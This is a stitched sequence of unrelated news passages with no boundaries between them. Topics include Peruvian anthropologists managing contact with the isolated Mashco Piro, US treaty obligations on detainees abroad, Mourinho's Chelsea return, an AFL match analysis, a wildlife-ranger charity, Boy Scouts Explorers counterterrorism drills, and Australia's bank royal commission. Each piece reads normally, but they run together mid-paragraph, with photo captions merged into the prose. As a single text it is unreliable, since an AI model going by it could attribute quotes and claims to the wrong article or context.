for in a few years’ time? What will be the turning point?”
At sundown, Nomole’s gas-powered generator was turned on for an hour to pump water into a plastic tank that sat on stilts, so that people could bathe under a rudimentary shower. Afterward, we met around the table in the longhouse, eating dinner and talking, almost exclusively about the Mashco. A photograph of Alberto Flores’s grandchildren hangs in his home, in Diamante. Flores is a Mashco who was captured by Matsigenka hunters as a child. November 13, 2015. Photograph by Aaron Vincent Elkaim for The New Yorker ||| One of the team members, an anthropologist named Waldo Maldonado, was a voluble presence in the conversation. Maldonado, a short, bearded man with a fondness for Indiana Jones-style leather boots, was from Cuzco, and before joining the Department of Native Isolated People he had worked as a guide for ecotourists in Manú National Park. He was trying to lose weight, and so, while the rest of us ate dinner, he would unfurl a piece of embroidered Andean cloth and take out a bag of coca leaves. As the evenings wore on, he would become more animated, chewing coca and rolling cigarettes—organic tobacco, he assured me. One evening, Maldonado said, “These people are all going to come out. It’s inevitable. The question is how we manage it to make sure that their coming out does not result in their extinction.” The anthropologists agonized over the ethics of their work, with a concern that seemed nearly parental. They wanted to teach the Mashco to fish, for instance, but worried that they’d choke on bones. They were especially uncertain about how to handle the raids on chacras. If they planted farmland for the Mashco, it would provide them with yucca and bananas, giving them less reason to invade other people’s property. But they would have to depend on the state to teach them each step of the process. “The big question is, can the Mashco remain hunter-gatherers for another hundred years?” Shepard said. Maldonado described the Mashco’s condition as an update of the hunter-gatherer life style: they had figured out where the villages were, and what they could get from them, but they seemed uninterested in settled life. His greater concern was abject dependence. “Will they become beggars now? Are they going to stay on the beach and call out to the boats and say, ‘I want this and I want that’? In my heart, I don’t know if I’m doing the right thing.” The team members agreed that the Mashco were not really “uncontacted.” Shepard maintained that they had been contacted a century ago, when Fitzcarrald invaded their territory, and that the survivors had isolated themselves by choice. Now they appeared to be seeking contact again, and perhaps it was unfair to stop them. The anthropologists Hill and Walker argue that the impulse to engage seems universal. “People want to trade,” they wrote. “And they crave exposure to new ideas and new opportunities. Humans are a gregarious species.” By seeking out bananas and tools, though, Kamotolo’s group might have begun a path toward inevitable assimilation. The Yine in Diamante still speak their own language, but almost all of them wear Western clothing, drink beer, and send their children to schools where they are taught in Spanish. The Mashco and their Yine cousins have been increasingly aware of one another. In the seventies, a Mashco woman and her daughters, who became known as the Three Marías, wandered out of the woods and camped near a park ranger’s station. After a few years of dislocation and confusion, they were taken to nearby villages, and the daughters eventually married local men. Nelly Flores herself was half-Mashco. Her father was a Mashco who had been captured as a small boy by Shaco Flores and raised by his family, so that he could serve as a translator in contacts. Nelly referred to Shaco, who was Matsigenka, as her grandfather. But she also thought of the encounters with the Mashco as a kind of reunion. “When I go to see them, I tell them I’m a relative,” she said, and smiled.
The following Sunday, the Mashco returned on schedule. A routine had set in, with the Nomole team handing over bananas, running races, and being embraced and searched. From the sandbar, I watched as Kamotolo squatted by a fire set among the rocks on the shore, tending to something as it cooked: a stingray that he had spotted in shallow water and killed with an arrow. There were signs of a tentative opening. The Mashco had been fascinated by Ponceano’s camera, which they called Big-Eye, and, after Ponceano allowed one of them to hold it, he realized that it was missing. The Mashco feigned ignorance, but finally a boy named Wasese admitted that they had brought it to “the older ones, those who stay in the forest,” and asked if Ponceano wanted to come and get it back. Ponceano asked, “Will they kill me?” Wasese replied, “I don’t know, maybe.” On the shore, I could see Maldonado making faces with the children. Mendieta scribbled notes and took pictures; at one point, he tried to inspect the teeth of several of the Mashco. The young man named Tkotko pulled Flores aside and spoke to her intently. She explained later that he had asked if she wanted to “lie down” with him and be his woman. She had dodged his invitation with a universal fib: she already had a boyfriend. As they talked, there was the sound of a motor, and a boat appeared, heading downriver. In the prow, a bearded white man wearing a kepi-like hat stood with the rigid posture of a conquistador. Maldonado and the others were startled: they stopped what they were doing and began shouting and waving at him not to interfere. The boat sped past, but a moment later it swung back around, pulling close to the shore, and the man held out six machetes to the Mashco. The children ran toward him, their arms outstretched. One of the boatmen with me recognized the man as Father Pedro Rey, a priest from a Dominican mission upriver. He called out, “_Padre Burro! Padre Mentiroso! _”—“Father Donkey! Father Liar!” As Maldonado ran toward the shoreline, yelling irately, the priest abruptly set down his gifts and headed back down the river. Before long, he had vanished into the jungle.
The Nomole team was outraged at the intrusion. “What right do priests have to go against state law?” Maldonado said indignantly. Rey, he explained, was a Spanish missionary who had been in Madre de Dios for eighteen years, and had long promoted contact with the aislados. Rey was scheduled to lead Mass that evening in Boca de Manú, a village downriver, and I found him there having dinner in a saloon. He sat alone, a wiry man with glasses and salt-and-pepper stubble. At the next table, Matsigenka rivermen were drinking litre bottles of Cuzqueña beer, shouting ebulliently and swaying in their chairs. Rey quietly ignored them. After he finished his meal, I introduced myself, and he invited me to his church, where he had to prepare for the Mass. The church, several hundred feet away along a footpath, was a cinder-block structure with a simple altar and a dozen wooden pews. Sitting in a pew, Rey told me that he was happy to see the Mashco defended but skeptical of the government’s motives. “The state is protecting its interests, not those of the indígenas,” he said. The Nomole team had discouraged the Mashco from dealing with anyone but them, missionaries included, which Rey described as a moral affront: “Those people have rights, and the right to communication, too, but they are being impeded from exercising that right.” He went on, “We in the Church have a hundred years of experience making contact. But, among government officials, there are people who have never seen an Indian!” Rey’s mission had been established in the days of the caucheros, and in his telling it had rescued many of their victims. “When we came here, the rivers were clogged with bodies,” he said, grimacing. Mario Álvarez, an evangelical preacher who has tried to convert the Mashco. When he first saw pictures of them, he said, “I decided I wouldn’t leave this jungle until I embraced them.” November 13, 2015. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker By other accounts, the effect of the mission was disastrous. An Amarakaeri leader in the region told me that Rey’s contact with the Mashco was “outrageous,” given the Dominicans’ previous results. “He’s trying to do what they did with us, in a forced contact,” he said. “We were once fifteen thousand. Now we’re less than two thousand.” But there was no question that the missionaries were better established here than the state was, and Rey described the conflict with Maldonado as an interruption in an otherwise cordial relationship. “I always give the Mashco machetes when I pass by,” he said. “The guards at the outpost have no problem with me.” He was referring, I realized, to the Yine agents at Nomole. “They say to me, ‘Father, whatever you want, but not when Waldo is here.’ ” As it turned out, Flores was a follower of Mario Álvarez, an evangelical preacher who had been trying to convert the Mashco. When the government began intervening in the area, the preacher had been told to cease his contacts, but Flores, his acolyte, was still able to meet with the Mashco—a situation that Torres felt was awkward but unavoidable. Álvarez lived in Diamante, and one afternoon I found him there. He was sawing wooden planks in the entry of a half-constructed church, which he was building atop a concrete slab the size of a basketball court; a sign said “Asamblea de Dios.” Álvarez, a muscular, goateed man of fifty-five with prominent teeth, said that for years he had worked as a logger in the jungle, but at the age of thirty he had found God and renounced his previous life. He told me, “My work now is evangelism, and God has work to do here on earth.” A couple of years ago, a revelation had led Álvarez to Diamante. “I had a dream—a man told me to come to the mouth of the Manú River,” he explained. “So I gave a challenge to God. I said, ‘I will go if you provide me with transport.’ Two days later, a man knocked on my door and offered me a canoe and a sister as a guide.” Around that time, the Mashco had begun appearing. “I heard of these naked people, and saw pictures of them,” Álvarez said. “I decided that I wouldn’t leave this jungle until I embraced them and was able to tell them that they were not alone in this world.” His chance came in March, 2015, when he heard that the Mashco were going to emerge on the riverbank. “I felt a little scared,” he recalled, smiling broadly. “There were three of them, men, and I gave them my hand and I hugged them, too, and at that moment I knew this was God’s mission for me.” The Ministry of Culture had pressed Álvarez to stop meeting the Mashco, but he had persisted, bringing them bananas. He also brought clothes, until he realized that they didn’t wear them. “It seems that clothing disturbs them,” he told me. “They’ll have to be taught how to use clothes, I guess.” Waving around at the church, Álvarez said, “Every day, in my services, we pray for them here. For them, Satan and sin doesn’t exist. They don’t know about all those things. But God is merciful.” Álvarez complained that the authorities had prohibited others from having contact, but were conducting encounters themselves. “It seems they have some kind of concealed plan,” he said confidingly. “One day, it will come to light.” When I asked where the Mashco would be in five years, he brightened and replied, “They will be evangelizing on behalf of the Church, because the Lord’s word is powerful.”
The team’s greatest concern was the Mashco’s health. Controlled contact is impossible without intense medical supervision: the societal equivalent, perhaps, of an organ transplant. In the first encounter, Mendieta had found that everyone was basically healthy. Now, though, Kamotolo’s mother, Puthana, was coughing, and so was Kwangonro; Wasese had inflamed tonsils. The doctor worried that they were developing full-blown flu. Mendieta was thirty-eight and single, the son of a public prosecutor and a teacher who ran a home for orphans. Working for Peru’s Ministry of Health, he ran a hospital near the Dominican mission, and was also charged with overseeing most of the upper Madre de Dios region, a vast area where indigenous groups lived in various degrees of contact with civilization. Nelly Flores, a protection agent at the government’s Nomole outpost, in Mashco territory, stands on the shore of the Madre de Dios River. November 6, 2015. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker The Mashco were at the most primary stage, and Mendieta had become fascinated by their situation. “We realized we had to do something, but there was no budget,” he told me. When the Ministry of Culture got involved, he began visiting surrounding communities to educate local people and to inoculate them against communicable diseases. Still, he was sure that eventually the Mashco would be stricken with an epidemic, and their remoteness would make it difficult to treat. He said that isolated communities struck by viruses were governed by a “three-day rule”: children invariably began dying on the third day. In Madre de Dios, he had sometimes arrived too late. For now, though, vaccinations were out of the question; the Mashco were still not entirely comfortable being examined. Even donated clothing carried the risk of disease, and he fretted about the polo shirt that he had lost to the Mashco woman. He reassured himself that the shirt had been freshly washed, and that it probably wouldn’t be worn for long. Wasese had reported that when they returned to camp the “older ones” took the clothing away and burned it—perhaps to prevent illness or perhaps merely to destroy a vestige of the outside world. The Nomole team felt certain that more Mashco would come out of the forest. “In five years, we’re probably going to have forty or fifty people to deal with,” Mendieta said. “As long as they need things from us, they’re going to be there, on the riverbanks, exposed to everything that comes along.” He paused. “The bottom line is, we want their lives to be respected. The problem is that a lot of people in Peru don’t care about them at all.”
Ms. Hayden, citing an executive order by Mr. Obama requiring interrogations to be “consistent with the requirements” of the torture convention, argued that “there’s no question we take seriously the need to protect civilians outside our borders.” She emphasized that the government considered itself bound abroad by the Geneva Conventions and domestic detainee abuse laws.
Mr. Posner, now a New York University professor, said his hope was that the administration would “take the next step, which is to say, ‘This isn’t just policy — it is an international legal obligation’ ” to respect rights wherever in the world American forces are in control of someone.
But Matthew Waxman, a Columbia professor who was a top detainee policy official for the Bush administration, said military and intelligence agencies had been skeptical of taking that step because they worried about potentially complicating their overseas operations.
John Bellinger, the top State Department lawyer in the Bush administration, noted that the presentation comes in the midst of a furor over National Security Agency surveillance. The rights treaty also bars “arbitrary or unlawful interference” with privacy, although it is not clear that it requires parties to respect rights of foreigners not in its custody.
“This is a particularly sensitive time because of the N.S.A. controversy,” he said. “I cannot imagine the U.S. government would change its position, even if it were previously tempted to.”
Under the terms of the rights treaty, a state must respect and ensure rights to people “within its territory and subject to its jurisdiction.” The question is whether to interpret this phrase as describing one group of people or two — those on domestic soil and also those abroad who are subject to its exclusive control.
Chelsea ended Mourinho's six-year exile in Italy and Spain yesterday when they reappointed him manager and he will be officially unveiled at a press conference at Stamford Bridge next Monday.
While the Portuguese's first reign ended in acrimony after his relationship with owner Roman Abramovich soured, his arrival heralded the start of the most successful period in the club's history.
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The summit of his achievements were Premier League crowns in 2005 and 2006, and his track record of domestic success - he has also won championships in Portugal, Italy and Spain - have raised expectations he will break the three-year duopoly of Manchester United and City.
But Mourinho believes that although no English team progressed to the quarter-finals of this season's Champions League for the first time since 1996, club football in this country remains highly competitive.
"The Champions League is a thermometer of world football and English football was out of the competition too early," he told Chelsea TV.
"People were speaking about the level of the Premier League going down compared with other countries, but I don't believe that. Sometimes things happen when there are no reasons.
"But the Premier League is still a fantastic competition and I believe five or six teams are very strong.
"When I was here before it was more about us, Man United and Arsenal and after that there was a gap to the other teams.
"Now you can put five or six teams in the same plan, aiming to reach the Champions League spots which is very difficult, with those with more ambition aiming to win the Premier League.
"The competition will be fantastic and I hope I can beat the other clubs."
Chelsea fans will expect Mourinho's return to be accompanied by a spending spree as Abramovich arms his manager with the funds to reclaim a title they last won in 2010 when Carlo Ancelotti was at the helm.
Forward reinforcements top the shopping list, with Andre Schurrle of Bayer Leverkusen, Manchester City's Edin Dzeko and Fiorentina striker Stevan Jovetic reported to be on Mourinho's radar.
But the 50-year-old insists that drawing the best from his existing squad will be his most pressing concern and refuses to prioritise any silverware.
"We have to improve the team, but when I say improve the team people are already thinking about how many millions Chelsea will spend. When I say improve the team, I mean through work," he said,
"My work has to improve players and improve the team. If I don't do that I am not happy with myself.
"If after that we can improve the team by buying a couple of players it is fantastic, but I have to improve the team and the players with my work.
"The priority is to improve. In the last two years we have struggled in the Premier League.
"If Chelsea didn't win the Champions League then the club wouldn't have been in the competition this year. This year we had to fight until the last match to qualify.
"We must improve individually, improve collectively and improve the structure of the club around the football team, and try to win the next match.
"Which one is the next match? The Premier League? Let's go for the Premier League. If the next match is the FA Cup, let's go for the FA Cup.
"It's difficult for me to say something is the priority. The priority is to work hard, work professionally and make the team better."
The grey hair that now covers Mourinho's scalp was not evident during his first spell in west London between 2004 and 2007, but he insists his capacity for hard work remains intact.
"I don't need a holiday, instead I'm sorry we don't start training tomorrow," he said.
"Victory makes miracles - when you win you are never tired. Happiness is much stronger than tiredness. Players need holidays, I don't.
"When we start the players will meet someone with great motivation. In spite of my white hairs, which I didn't have in 2004, I'm still very strong at work."
PA
Saturday night’s Showdown lived up to its billing as the match of the round.
It was a crowded field; three games decided by two goals or less, up to four genuine upsets (depending on your prior views), emphatic responses to mainstream media hyperbole everywhere you looked. There was something for everyone.
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But as far as a showcase of Australian rules football in 2017 goes, Adelaide’s 17 point victory over Port Adelaide was it.
After a tense, physical opening ten minutes, the Power raced to an early lead, on the back of some precision play from kick ins and centre bounces. Port Adelaide circa 2013-2014 was back, the gut-running, zone offencing scoring machine that we all thought was a historical anomaly.
As has been the case for much of this season, Robbie Gray led the way forward of centre, while Ollie Wines did his best Patrick Dangerfield impression through the middle. A remarkably small defence – made so by the late withdrawal of Jack Hombsch and return of Hamish Hartlett – looked overmatched on paper, but proved stoic as the Crows began to wrestle back the midfield advantage.
From shortly after quarter time onwards, the Crows looked like the better team, as has been their wont all year. Rory Sloane put the team on his back – recording a career-high 23 contested possessions across the game – and powered Adelaide forward from stoppages.
At one stage the Crows threatened to run away with the game, until Port Adelaide coach Ken Hinkley threw Gray onto the ball midway through the third quarter.
Port Adelaide immediately stabilised, and clawed their way back to within 14 points at three-quarter time. The Power three scores to none in the first seven minutes of the final quarter, cutting the margin to an even goal. It seemed to spur Adelaide’s forward line into action. The Crows’ height advantage came into play, as Taylor Walker did Taylor Walker things to help his team over the line.
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It was an unusually tight game on the inside, with 75 non-centre bounce stoppages across the four quarters. The AFL average for 2017 to date has been 59 set pieces per game. This suited the Power, who’ve looked much better than the leaky sieve in set pieces they became last season. In the end, Adelaide’s outside dominance and forward efficiency won the day.
It felt like a finals match up. After three rounds, and with five wins between Adelaide and Port Adelaide, it very well could be. The established order of the Australian Football League is being disrupted. Both the Crows and Power look to be relishing the role of disruptors.
But will the two South Australian teams retain their top-four positions come the end of the season? Let’s deal with what has come so far, and what is to come in the months ahead.
Adelaide make the move from good to great
Lurking in the background of the Hawthorn three-peat, Sydney’s perennial excellence, the rise of the Bulldogs and Giants, the resurrection of the Cats – name your story, really – the Adelaide Crows have been building. Not slowly, or quietly – the Crows have made it to the second week of September for the last two years.
Coming into the season, it was clear the Crows were going to be a good team. So often the second team in great player (emerging or established) trades, Adelaide tried but failed to land a big fish of their own in Carlton’s Bryce Gibbs. The AFL zeitgeist, as it often does, spun that into a web of half-truths and misnomers: Adelaide don’t have the depth of class through the middle, they said. Adelaide have a great forward line, but who will get them the ball they said.
The injuries mounted, almost exclusively to midfielders, and the purported issues compounded. I was in that camp, but after a solid JLT Series changed course. I am glad I did, because the Adelaide Crows look set to do something special in 2017.
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Adelaide’s 2016 game was built on counter-punching and quick movement on the outside. It manifested in a high-powered offence, which put up a league-leading 108 points per game, eviscerating all who dare turn the ball over in Adelaide’s defensive half. Often, they played with a spare defender as a default look for the opposition, enabling quick movements out of defensive 50 with long kicks and wave runners.
The Crows recorded a field marking differential (marks outside 50) of +13.0 per game, a league-leading mark. Adelaide could criss-cross the field with aplomb, breaking opposition zones and moving into attack with even-or-better numbers inside 50.
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Winning the ball at the coalface was important – ask Hawthorn how important getting to the ball first is – but coach Don Pyke’s scheme didn’t command it. More important was the intercept, the quick kick or dump-off handball, and moving into the forward half of the ground.
Not so this year. The season is still young, but already the signs are clear that Adelaide has shifted its game. The Crows seem to eschewing the zone stylings of other teams of the competition in favour of a one-on-one heavy scheme. On three weeks of evidence, Adelaide are beating their opponents more often than not, and breaking away from contests with remarkable speed.
Adelaide have a ground-ball differential (contested possessions less free kicks for and contested marks) of +19.0 per game, first in the league, with the Crows standing alone, with the Greater Western Sydney Giants and Richmond Tigers as teams with differentials in double figures.
This statistic is intended to measure how well a team is able to win disputed balls – gain possession off the deck when it is there to be won. Adelaide are doing this better than any other team in the first three rounds of the season.
Adding this string to their bow means Adelaide have a plethora of looks, and a tactical flexibility that allows them to adjust on the fly. This was on show against the Hawks in Round 2, with the Crows switching from an aerial game to ground game at halftime, and running Hawthorn ragged.
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They’re doing this with personnel as much as scheme. The design is centred on beating opponents one on one, but once the ball makes it to the outside, Adelaide’s precision kicking game of last year takes over. Some critical moves have made this possible.
Rory Laird played on the ball in Round 1, racking up huge numbers while maintaining his usual pristine ball use. Charlie Cameron’s evolution from pacey half forward to full-blown wing man has accelerated this season – he looks like a natural no matter where he plays. Curtly Hampton hasn’t won a lot of ball for himself, but as a screener for the other guys he has been great, and his 25 tackles puts him in the top five in the league. Matt Crouch has accumulated possessions like a veteran inside midfielder, going about his craft as an anonymous member of this deep-batting unit.
And bat deep it does; the likes of Richard Douglas, Riley Knight, David Mackay and Andy Otten don’t scream quality, but they have it where it counts, and are all better-than-average with the ball in hand. Otten’s return has been an interesting development for the Crows, affording Pyke a utility option that has been absent during his tenure.
That’s the supporting cast. Rory Sloane is the star. The human wrecking ball, who let’s not forget broke his cheekbone not much more than six weeks ago, has been scorching over the first three weeks of the season. He has been at the bottom of every pack, inserting himself like an openside flanker reaches into a ruck to extract the ball. Sloane has been getting it done on the ground, with an incredible 52 of his 81 possessions coming in contested situations so far this season – second only to Tom Liberatore from the Western Bulldogs for players with more than 20 touches a game.
He hasn’t put together a stunning highlight package yet – his play built more on persistence and effort than the spectacular stylings of some of his contemporaries. Sloane seems to play with a simple edict: at stoppages, play on the ball, otherwise be dangerous and useful. He bobs up as a leading forward, and then chips in as a spoiling defender half a minute later. No matter the situation, Sloane makes good football things happen.
We all know about Adelaide’s forward line, the depth of quality players and mechanical precision they operate with. Examples abound, but this one from half way through the fourth quarter stuck out. From a stoppage on Port Adelaide’s back flank, an Adelaide player executes a kick to centre wing, where a leading Taylor Walker takes a strong contested mark.
As you’ll see below, Tom Lynch, who starts the sequence in defensive 50, sees what’s unfolding, builds up a head of steam, and surges towards Adelaide’s forward 50.
Reviewing #AFLPowerCrows for Weds. Check this out in Q4. How do you defend that? Not sure you can. Precision engineered #AFL #weflyasone pic.twitter.com/OXBwn5LqyJ — Ryan Buckland (@RyanBuckland7) April 10, 2017
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Walker barely blinks, launching a 50-metre drop punt with trademark precision, which Lynch marks over his left shoulder. The preconditions for a play like this are difficult to create, and harder to execute. Adelaide make it looks preordained.
They’ll be challenged in the weeks ahead, with flanker Mitch McGovern set to miss half the season with a hamstring tendon injury. Josh Jenkins missed the Showdown, but looks like returning this weekend after bruised ribs kept him on the sidelines. The Crows have options: Otten can move into the front half of the ground, with an extra midfielder like Brad Crouch coming into the team; Troy Menzel, who played in Round 1 only to lose his place to Walker, could be a like-for-like forward swap, allowing the Crows to play smaller.
Adelaide’s depth is perhaps the most surprising element of their fast start. All throughout the summer we as a collective fretted about injury luck and thin playing stocks. It is worth remembering Scott Thompson, Crouch, Cam Ellis-Yolmen, Kyle Cheeney and Paul Seedsman haven’t played at all this year. The Crows’ injury ward is getting a work out this year, yes, but to date the list has held up.
Three wins, a league-leading percentage and a complete game style suggest Adelaide is here and ready to contend. It is only early, and the big tests are to come. We said that about the Western Bulldogs’ promising start to 2016 too. The Crows host Essendon, travel to the Gold Coast, host Richmond and play North Melbourne in Tasmania in the next four weeks. They will start comfortable favourites in each.
The sky is the veritable limit for the Adelaide Crows in 2017. A bright start is most certainly a sign of things to come.
Port Adelaide make the move from average to interesting
The Power’s position in the hierarchy is much more difficult to parse.
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Like the Crows, Port Adelaide has largely taken all who have come before them (except the Crows themselves obviously). But those vanquished by the Power – the youthful Sydney and previously-hapless Fremantle – aren’t a paragon of strength.
Still, wins are wins, and early season wins are a signal of strength. There’s a reason why teams that are 2-1 have been twice as likely to make it into finals than teams who have been 1-2 under the current finals system. However, for Port Adelaide, the raw wins and losses aren’t as important as the way in which they’ve come about.
The first three weeks of the season have provided ample evidence that Port Adelaide’s struggles to win and retain the ball have been addressed in the off season. The Power were the worst team in the league on time in possession differential last year, giving their opponents an extra 6.9 minutes of possession per game on average. Their contested possession differential wasn’t much better: -4.6 per game on the season, ranked 12th, despite quality personnel through the middle of the ground.
This year, Port have held the ball for 0.2 minutes more than their opponents through three games – still not league-leading by any stretch, but a marked improvement. Similarly, the Power’s contested possession differential has surged to +8.3 per game.
Beyond that, Port Adelaide look to have rediscovered their fast football mojo from 2013 and 2014. Their opening three goals in the Showdown came as the result of laser-like ball movement, from kick-ins and a centre square free kicks. Wave running and the full ground offence is back, although the Power seem more content to kick than they did during their previous (Port have a kick to handball ratio of 1.48 this season, up from 1.24 last year).
Robbie Gray continues his Brownlow Snub Revenge Tour, playing predominately forward of the play with spurts through the middle. Chad Wingard hasn’t yet been called up to play as a midfielder, a move foreshadowed during the preseason – that will probably change if Gray remains a more permanent forward. Ollie Wines has taken his game to another level, doing his best impression of a mash up of Patrick Dangerfield’s bulk with Scott Pendlebury’s poise in pressure. Paddy Ryder’s return has been huge for the Power’s stoppage play, relishing the role as a primary ruckman.
We’ll maintain a watching brief on Port Adelaide for now. The team is better than we collectively thought coming into this season, but how much so remains to be seen. After two years of decidedly average performances, the Power might be back on.
(See what I did there?)
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Updated
Sean Willmore is stuck in a bog in Africa.
However it is not the local wildlife that is concerning him. He is panicking because he is delayed getting back to camp, where you have to start the generator to get internet access.
"So I'm trying to email royalty from the back of a car stuck in a bog in Uganda," Mr Willmore tells tonight's Australian Story program - and he has the video to prove it.
Mr Willmore, 42, started the Thin Green Line Foundation 10 years ago to support the families of wildlife rangers who are killed or injured while on duty.
At the time he was working as a park ranger in Victoria, but his life changed forever after attending an international rangers conference where he met rangers who showed him "machete wounds in the scalp and bullet holes in their bodies".
"I went back to work and something changed in my thinking," he said.
"I decided to sell the car, re-mortgage the house, and I thought rather than me just travel around the world and meet these rangers and see them on their patches, maybe I should make a film that I didn't know how to make."
Mr Willmore started the Thin Green Line Foundation after he made The Thin Green Line documentary in 2007.
He raised almost $100,000 from the film and started the foundation to distribute the funds to the widows of rangers killed.
Hundreds lose lives in fight against poaching
Mr Willmore estimates that at least 1,000 rangers have been killed by illegal poachers during the past 10 years, as organised crime networks have moved into the area of illegal wildlife trading.
He realised it was crucial to "protect the protectors" for their own sake, and as a practical way of halting species decline.
As well as helping the families, there was a need for improved equipment and training for the rangers, as the countries with some of the most endangered species often have the least resources.
An increase in demand for ivory in recent years by the growing middle class in Asia has led to a startling increase in the numbers of elephants being killed in the wild.
According to figures released in June by the Convention on International Trade in Endangered Species of Wild Fauna and Flora, more than 20,000 African elephants were poached in the continent in 2013.
The Thin Green Line Foundation has helped about 100 widows and 400 children, who often lose their homes as well as their only income when their husbands and fathers are killed, Mr Willmore said.
"When I was in Congo I met with 50 widows in one sitting and they all said the same thing – education, medicine, employment and a roof over their heads were the most important things," he said.
"So we said alright, if that's what you need and we can support with that, that's what we'll do. So we're trying, but it's a long way to go."
The Dame, the Prince, and the pop star
The seeds of Sean Willmore's association with the Prince of Wales and the Duke of Cambridge can be traced back to a chance meeting with the legendary conservationist Dame Jane Goodall at Melbourne Zoo in 2011.
The British conservationist is famous for her ground breaking study of chimpanzees in Africa.
Mr Willmore was recovering from dengue fever and a tropical parasite when he took a punt and drove 90 minutes from his home on the Mornington Peninsula on the chance he might meet her. The gamble paid off, and they have been firm friends since.
Dame Jane recently caught up with Mr Willmore when she was in Australia for her world tour to celebrate her 80th birthday.
"When Sean told me about the condition in which he found so many of the rangers it completely rang a bell – I know that this is the case - and to meet somebody who actually wanted to do something about it was for me very exciting," Dame Jane told Australian Story.
"It was basically me telling Sean that he could use my name, that he could tell people that I supported him in his efforts, that I thought he was doing the right thing, and really he took it from there and used my name in the right way."
Since meeting Dame Jane, Mr Willmore's cause has attracted the attention of world leaders in the war against illegal wildlife trading.
One of them, Claudia McMurray, senior counsellor to the Prince of Wales's International Sustainability Unit, was moved to tears after hearing Mr Willmore talk at the Convention for the Illegal Trade in Endangered Species conference in Thailand in 2013.
"It was a very emotional, very compelling speech, and really called on all of those delegates to remember what the cost of illegal trade is," she said.
"From then on I wanted to have Sean participate in whatever things I was organising."
Mr Willmore also made an impression on the Prince of Wales and the Duke of Cambridge when he was invited to St James Palace last year.
"The Prince of Wales was very taken with the story that Sean was telling and thought that anyone listening would have to be riveted by it and have to be compelled to want to help," Ms McMurray says.
"I think the first thing is now, when the Prince of Wales speaks ... about this topic, he always mentions The Thin Green Line."
To celebrate World Ranger Day, the Thin Green Line Foundation will be holding a benefit concert on August 1 featuring long time supporters Gotye, Tex Perkins and Nicky Bomba at the Melbourne Town Hall.
Watch The Game Changer on Australian Story at 8pm.
Topics: conservation, environment, australia, kenya
It is all quite a step up from the square knot.
The Explorers program, a coeducational affiliate of the Boy Scouts of America that began 60 years ago, is training thousands of young people in skills used to confront terrorism, illegal immigration and escalating border violence — an intense ratcheting up of one of the group’s longtime missions to prepare youths for more traditional jobs as police officers and firefighters.
“This is about being a true-blooded American guy and girl,” said A. J. Lowenthal, a sheriff’s deputy here in Imperial County, whose life clock, he says, is set around the Explorers events he helps run. “It fits right in with the honor and bravery of the Boy Scouts.”
The training, which leaders say is not intended to be applied outside the simulated Explorer setting, can involve chasing down illegal border crossers as well as more dangerous situations that include facing down terrorists and taking out “active shooters,” like those who bring gunfire and death to college campuses. In a simulation here of a raid on a marijuana field, several Explorers were instructed on how to quiet an obstreperous lookout.
Updated
On the afternoon of September 13, in Committee Room 1R2 at Parliament House in Canberra, a Powerpoint presentation was firing up.
Renegade Nationals MP George Christensen had invited a small group of his Coalition colleagues for a special presentation on the banks.
Among those in attendance, fellow backbenchers Llew O'Brien, Damian Drum, Ann Sudmalis and Craig Kelly. There was also a representative for both Ken O'Dowd and then-deputy PM Barnaby Joyce in the room.
Over the course of an hour or so, the politicians were methodically taken through a short history of banking behaviour since the Global Financial Crisis.
In particular, the practice of "constructive default", whereby everyday borrowers are forced into insolvency, often despite meeting their repayments, because the type of loans they signed before the GFC were seen by the banks as a liability after the crisis struck.
According to sources in Parliament, others, already convinced of the need for a royal commission were pleasantly surprised by the turnout at the meeting.
Perhaps enough Coalition MPs could be convinced, if it came to it, to team up with Labor and the Greens on the floor of Parliament to force a commission of inquiry into the banks.
By this week, that vague possibility had become a certainty.
With Mr Christensen and Mr O'Brien willing to cross the floor to support fellow Queenslander, senator Barry O'Sullivan's bill, an inquiry was going to happen one way or another.
As a result, we now have the Prime Minister's "regrettable" royal commission.
Nationals took advantage of Joyce's absence
In hindsight, the writing has been on the wall for months. Certainly since the Government's numbers on the floor of Parliament were diminished by the dual-citizenship saga.
It must be bitter irony for the PM that some Nationals took advantage of Barnaby Joyce's absence from Parliament, himself a National who failed to get his citizenship paperwork in order, to help secure the numbers.
Then, after the Federal Nationals had shoved humble pie down Mr Turnbull's throat, putting his impotence up in lights, the New South Wales Nationals leader John Barilaro piled on, calling for the PM's resignation, because of "a Coalition Government in disarray". Bitter irony indeed.
The Nationals, it seems, have gone feral, as far as their relationship with the Liberals is concerned.
The Prime Minister could have owned the royal commission by seizing on one of the many banking scandals that have blown-up in recent months to declare, "enough".
Governments can be rewarded for backflips, when they're well executed on popular issues. It shows they're listening.
In August, 53,700 "serious and systemic" breaches of anti-money laundering and terrorism financing laws by the Commonwealth Bank were uncovered. Even that wasn't enough to convince Mr Turnbull of the need for an inquiry.
Is royal commission good for the nation?
Mr Turnbull's resistance (and ongoing reluctance) wasn't born out of stubbornness alone. It stems from a genuinely held fear that a no-holds-barred inquiry into the institutions that manage trillions of our hard earned dollars, could in itself undermine confidence and, hence, not be a good thing for this nation.
That's why the letter from the bank bosses asking for an inquiry was considered so important. It looked like a permission slip, as Bill Shorten claimed. But it's real aim was to mitigate stock losses for investors, spooked by the prospect of a loss of faith in the banks.
If the bank bosses themselves asked for an inquiry, surely it couldn't be too damaging.
What matters now is ensuring the inquiry delivers a positive outcome for the victims.
The Prime Minister was clear in stating the royal commission cannot deliver compensation for individual victims. It could, however, recommend the establishment of a compensation scheme, perhaps similar to the one set up by James Hardie for asbestos victims.
There are many who believed all along, only a royal commission can heal a sick, bonus-driven culture in the banks, that rewards profit, over and above the interests of customers.
Let's hope so.
Topics: banking, royal-commissions, government-and-politics, canberra-2600
The enormous speeds were gained through the use of a resonant tunneling diode, or RTD. This component acts as an oscillator, transmitting electro-magnetic signals at very high frequencies as it vibrates. The RTD was developed especially for the project, and replaces other far more complex systems like quantum cascade lasers.
For thinkers like Jan Rotmans and Michel Bauwens this change of eras is akin to the Industrial Revolution in the second half of the 19th century, and characterized by transitions in various fields. In a nutshell, our societies face 3 major tipping points:
A change in social order from a central, hierarchically-controlled society to a horizontal, decentralized, and bottom-up working unit.
A changing economic structure: where in the past large, bureaucratic organizations were necessary to produce cheap products, in the new digital economy it is possible to develop products and services locally on a small scale.
A change in power relations: where once political influence and economies of scale determined access to resources, access to knowledge and information is now also accessible outside of political and social institutions.
